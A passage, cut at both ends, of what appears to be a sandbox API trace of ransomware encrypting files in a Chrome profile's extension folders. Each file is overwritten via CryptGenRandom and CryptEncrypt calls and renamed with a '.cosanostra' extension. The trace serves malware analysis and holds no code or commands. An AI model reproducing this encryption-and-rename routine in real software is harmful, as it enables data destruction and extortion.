halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.171] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 156 [0085.171] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.171] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.171] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x2abf89c, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf89c*=0x101, lpOverlapped=0x0) returned 1 [0085.172] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.172] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf89c, lpOverlapped=0x0 | out: lpBuffer=0x2abf8dc*, lpNumberOfBytesWritten=0x2abf89c*=0x4, lpOverlapped=0x0) returned 1 [0085.172] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf89c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf89c*=0x30, lpOverlapped=0x0) returned 1 [0085.172] CloseHandle (hObject=0x18c) returned 1 [0085.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.cosanostra")) returned 1 [0085.174] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8d8 | out: pbBuffer=0x2abf8d8) returned 1 [0085.182] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8d0*=0x30) returned 1 [0085.183] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.183] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 156 [0085.183] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.184] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.184] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2abf894, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf894*=0xda, lpOverlapped=0x0) returned 1 [0085.184] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.184] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf894, lpOverlapped=0x0 | out: lpBuffer=0x2abf8d4*, lpNumberOfBytesWritten=0x2abf894*=0x4, lpOverlapped=0x0) returned 1 [0085.184] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf894, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf894*=0x30, lpOverlapped=0x0) returned 1 [0085.184] CloseHandle (hObject=0x18c) returned 1 [0085.184] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.cosanostra")) returned 1 [0085.186] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8d0 | out: pbBuffer=0x2abf8d0) returned 1 [0085.186] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8c8*=0x30) returned 1 [0085.186] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.186] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 156 [0085.186] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.187] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.187] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2abf88c, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf88c*=0xf2, lpOverlapped=0x0) returned 1 [0085.187] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.187] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf88c, lpOverlapped=0x0 | out: lpBuffer=0x2abf8cc*, lpNumberOfBytesWritten=0x2abf88c*=0x4, lpOverlapped=0x0) returned 1 [0085.187] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf88c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf88c*=0x30, lpOverlapped=0x0) returned 1 [0085.188] CloseHandle (hObject=0x18c) returned 1 [0085.188] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.cosanostra")) returned 1 [0085.190] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8c8 | out: pbBuffer=0x2abf8c8) returned 1 [0085.191] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8c0*=0x30) returned 1 [0085.191] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.191] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 156 [0085.191] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.242] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.242] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2abf884, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf884*=0xfe, lpOverlapped=0x0) returned 1 [0085.242] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.242] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf884, lpOverlapped=0x0 | out: lpBuffer=0x2abf8c4*, lpNumberOfBytesWritten=0x2abf884*=0x4, lpOverlapped=0x0) returned 1 [0085.242] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf884, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf884*=0x30, lpOverlapped=0x0) returned 1 [0085.242] CloseHandle (hObject=0x18c) returned 1 [0085.243] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.cosanostra")) returned 1 [0085.243] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8c8 | out: pbBuffer=0x2abf8c8) returned 1 [0085.243] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8c0*=0x30) returned 1 [0085.243] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.244] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 138 [0085.244] StrStrW (lpFirst="128.png", lpSrch=".txt") returned 0x0 [0085.332] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffe5cd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.333] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0x1a33, lpNumberOfBytesWritten=0x2abf884, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf884*=0x1a33, lpOverlapped=0x0) returned 1 [0085.333] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.333] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf884, lpOverlapped=0x0 | out: lpBuffer=0x2abf8c4*, lpNumberOfBytesWritten=0x2abf884*=0x4, lpOverlapped=0x0) returned 1 [0085.333] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf884, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf884*=0x30, lpOverlapped=0x0) returned 1 [0085.333] CloseHandle (hObject=0x18c) returned 1 [0085.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.cosanostra")) returned 1 [0085.339] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8b8 | out: pbBuffer=0x2abf8b8) returned 1 [0085.339] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8b0*=0x30) returned 1 [0085.339] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.339] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 164 [0085.339] StrStrW (lpFirst="verified_contents.json", lpSrch=".txt") returned 0x0 [0085.375] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffd897, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.375] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0x2769, lpNumberOfBytesWritten=0x2abf874, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf874*=0x2769, lpOverlapped=0x0) returned 1 [0085.375] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.375] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf874, lpOverlapped=0x0 | out: lpBuffer=0x2abf8b4*, lpNumberOfBytesWritten=0x2abf874*=0x4, lpOverlapped=0x0) returned 1 [0085.375] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf874, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf874*=0x30, lpOverlapped=0x0) returned 1 [0085.375] CloseHandle (hObject=0x18c) returned 1 [0085.376] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.cosanostra")) returned 1 [0085.377] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8b0 | out: pbBuffer=0x2abf8b0) returned 1 [0085.378] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8a8*=0x30) returned 1 [0085.378] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.378] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 157 [0085.378] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.379] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.379] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf86c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf86c*=0xb3, lpOverlapped=0x0) returned 1 [0085.379] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.379] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf86c, lpOverlapped=0x0 | out: lpBuffer=0x2abf8ac*, lpNumberOfBytesWritten=0x2abf86c*=0x4, lpOverlapped=0x0) returned 1 [0085.379] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf86c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf86c*=0x30, lpOverlapped=0x0) returned 1 [0085.379] CloseHandle (hObject=0x18c) returned 1 [0085.380] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.cosanostra")) returned 1 [0085.381] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8a8 | out: pbBuffer=0x2abf8a8) returned 1 [0085.381] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8a0*=0x30) returned 1 [0085.381] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.382] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 157 [0085.382] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.383] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.383] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf864, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf864*=0xb3, lpOverlapped=0x0) returned 1 [0085.383] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.383] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf864, lpOverlapped=0x0 | out: lpBuffer=0x2abf8a4*, lpNumberOfBytesWritten=0x2abf864*=0x4, lpOverlapped=0x0) returned 1 [0085.383] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf864, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf864*=0x30, lpOverlapped=0x0) returned 1 [0085.383] CloseHandle (hObject=0x18c) returned 1 [0085.383] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.cosanostra")) returned 1 [0085.385] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8a0 | out: pbBuffer=0x2abf8a0) returned 1 [0085.385] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf898*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf898*=0x30) returned 1 [0085.385] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 